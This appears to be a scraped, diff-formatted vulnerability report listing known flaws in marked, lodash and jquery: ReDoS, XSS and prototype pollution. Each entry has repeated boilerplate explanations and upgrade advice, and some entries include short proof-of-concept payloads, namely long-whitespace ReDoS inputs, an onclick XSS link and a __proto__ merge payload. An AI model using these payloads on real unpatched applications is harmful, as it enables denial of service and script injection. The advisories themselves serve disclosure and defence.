+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when unsanitized user input is passed to block.def
.
PoC
+import * as marked from "marked";
+ marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 4.0.10 or higher.
References
+-
+
- GitHub Commit +
- GitHub Release +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A Denial of Service condition could be triggered through exploitation of the heading
regex.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 0.4.0 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The em
regex within src/rules.js
file have multiple unused capture groups which could lead to a denial of service attack if user input is reachable.
Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade marked
to version 1.1.1 or higher.
References
+-
+
- GitHub Commit +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS). When mangling is disabled via option mangle
, marked doesn't escape target href
. This may allow an attacker to inject arbitrary html-event
into resulting a tag.
For example:
+var marked = require('marked');
+ marked.setOptions({
+ renderer: new marked.Renderer(),
+ sanitize: true,
+ mangle: false
+ });
+
+ text = `
+ <bar"onclick="alert('XSS')"@foo>
+ `;
+
+ console.log(marked(text));
+
+ will render:
+<p><a href="mailto:bar"onclick="alert('XSS')"@foo">bar"onclick="alert('XSS')"@foo</a></p>
+
+ Details
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
+Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade marked
to version 0.3.9 or higher.
References
+-
+
- GitHub Commit +
- GitHub Issue +
- GitHub PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
POC
+var lo = require('lodash');
+
+ function build_blank (n) {
+ var ret = "1"
+ for (var i = 0; i < n; i++) {
+ ret += " "
+ }
+
+ return ret + "1";
+ }
+
+ var s = build_blank(50000)
+ var time0 = Date.now();
+ lo.trim(s)
+ var time_cost0 = Date.now() - time0;
+ console.log("time_cost0: " + time_cost0)
+
+ var time1 = Date.now();
+ lo.toNumber(s)
+ var time_cost1 = Date.now() - time1;
+ console.log("time_cost1: " + time_cost1)
+
+ var time2 = Date.now();
+ lo.trimEnd(s)
+ var time_cost2 = Date.now() - time2;
+ console.log("time_cost2: " + time_cost2)
+
+ Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade lodash
to version 4.17.21 or higher.
References
+-
+
- GitHub Commit +
- GitHub Fix PR +
+ + + +
Regular Expression Denial of Service (ReDoS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
+Details
+Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
+The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
+Let’s take the following regular expression as an example:
+regex = /A(B|C+)+D/
+
+ This regular expression accomplishes the following:
+-
+
A
The string must start with the letter 'A'
+ (B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.
+ D
Finally, we ensure this section of the string ends with a 'D'
+
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
+$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+ 0.04s user 0.01s system 95% cpu 0.052 total
+
+ $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+ 1.79s user 0.02s system 99% cpu 1.812 total
+
+ The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
+Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
+Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
+-
+
- CCC +
- CC+C +
- C+CC +
- C+C+C. +
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
+From there, the number of steps the engine must use to validate a string just continues to grow.
+String | +Number of C's | +Number of steps | +
---|---|---|
ACCCX | +3 | +38 | +
ACCCCX | +4 | +71 | +
ACCCCCX | +5 | +136 | +
ACCCCCCCCCCCCCCX | +14 | +65,553 | +
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
+Remediation
+Upgrade lodash
to version 4.17.11 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
- POC: GitHub Issue +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
+Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
+var _= require('lodash');
+ var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
+
+ var a = {};
+ console.log("Before : " + a.oops);
+ _.merge({}, JSON.parse(malicious_payload));
+ console.log("After : " + a.oops);
+
+ Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade lodash
to version 4.17.5 or higher.
References
+-
+
- GitHub Commit +
- GitHub PR +
- HackerOne Report +
- NPM Security Advisory +
- NPM Security Advisory +
- NPM Security Advisory +
+ + + +
Prototype Pollution
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
+Affected versions of this package are vulnerable to Prototype Pollution. The extend
function can be tricked into modifying the prototype of Object
when the attacker controls part of the structure passed to this function. This can let an attacker add or modify an existing property that will then exist on all objects.
Details
+Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
+-
+
Unsafe
+Object
recursive merge
+ Property definition by path
+
+
Unsafe Object recursive merge
+The logic of a vulnerable recursive merge function follows the following high-level model:
+merge (target, source)
+
+ foreach property of source
+
+ if property exists and is an object on both the target and the source
+
+ merge(target[property], source[property])
+
+ else
+
+ target[property] = source[property]
+
+ + +
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
+There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
+There are a few methods by which Prototype Pollution can be manipulated:
+Type | +Origin | +Short description | +
---|---|---|
Denial of service (DoS) | +Client | +This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
+
Remote Code Execution | +Client | +Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
+
Property Injection | +Client | +The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
+
Affected environments
+The following environments are susceptible to a Prototype Pollution attack:
+-
+
Application server
+
+ Web server
+
+
How to prevent
+-
+
Freeze the prototype— use
+Object.freeze (Object.prototype)
.
+ Require schema validation of JSON input.
+
+ Avoid using unsafe recursive merge functions.
+
+ Consider using objects without prototypes (for example,
+Object.create(null)
), breaking the prototype chain and preventing pollution.
+ As a best practice use
+Map
instead ofObject
.
+
For more information on this vulnerability type:
+Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
+Remediation
+Upgrade jquery
to version 3.4.0 or higher.
References
+ + ++ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS)
+ Passing HTML containing <option>
elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html()
, .append()
, and others) may execute untrusted code.
Details
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
+ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
+Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
+Types of attacks
+There are a few methods by which XSS can be manipulated:
+Type | +Origin | +Description | +
---|---|---|
Stored | +Server | +The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. | +
Reflected | +Server | +The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. | +
DOM-based | +Client | +The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. | +
Mutated | ++ | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. | +
Affected environments
+The following environments are susceptible to an XSS attack:
+-
+
- Web servers +
- Application servers +
- Web application environments +
How to prevent
+This section describes the top best practices designed to specifically protect your code:
+-
+
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. +
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents.
+ - Give users the option to disable client-side scripts. +
- Redirect invalid requests. +
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions. +
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack. +
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML. +
Remediation
+Upgrade jquery
to version 3.5.0 or higher.
References
+-
+
- + +
- + +
- + +
- + +
+ + + +
Cross-site Scripting (XSS)
++ + + +
+ + +
Detailed paths
+ + + ++ +
Overview
+jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.
+Affected versions of this package are vulnerable to Cross-site Scripting (XSS).
+ Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append()
, and others) may execute untrusted code.
Details:
+A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
+This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
